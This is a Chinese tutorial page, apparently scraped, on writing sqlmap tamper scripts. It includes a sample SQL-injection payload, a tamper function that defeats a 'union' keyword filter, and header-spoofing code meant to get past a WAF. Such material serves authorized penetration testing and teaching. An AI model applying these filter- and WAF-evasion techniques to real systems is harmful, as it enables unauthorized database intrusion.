当前位置:Gxlcms > 数据库问题 > sqlmap-tamper编写指南

sqlmap-tamper编写指南

时间:2021-07-01 10:21:17 帮助过:7人阅读

union); $sql="SELECT * FROM users WHERE id=‘$id‘";

而我们的payload为

-8363  union select null -- -

这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样tamper

def tamper(payload, **kwargs):
    return payload.replace(union,uniounionn)

保存为test.py,存到sqlmap/tamper/下,执行的时候带上--tamper=test的参数,就可以绕过该过滤规则

dependencies函数

dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:

# sqlmap/tamper/echarunicodeencode.py

from lib.core.common import singleTimeWarnMessage

def dependencies():
    singleTimeWarnMessage("tamper script ‘%s‘ is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])

# singleTimeWarnMessage() 于在控制台中打印出警告信息

  

kwargs

在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明
# sqlmap/tamper/vanrish.py

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf

0x3 结语

tamper的编写远不止这些,本文只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,本文不一一列出。

0x04 一些常用的取值

# sqlmap/lib/enums.py

class PRIORITY:
    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100


class DBMS:
    ACCESS = "Microsoft Access"
    DB2 = "IBM DB2"
    FIREBIRD = "Firebird"
    MAXDB = "SAP MaxDB"
    MSSQL = "Microsoft SQL Server"
    MYSQL = "MySQL"
    ORACLE = "Oracle"
    PGSQL = "PostgreSQL"
    SQLITE = "SQLite"
    SYBASE = "Sybase"
    HSQLDB = "HSQLDB"

 

sqlmap-tamper编写指南

标签:pgsql   函数   end   sybase   导致   最小   ase   forward   pen   

人气教程排行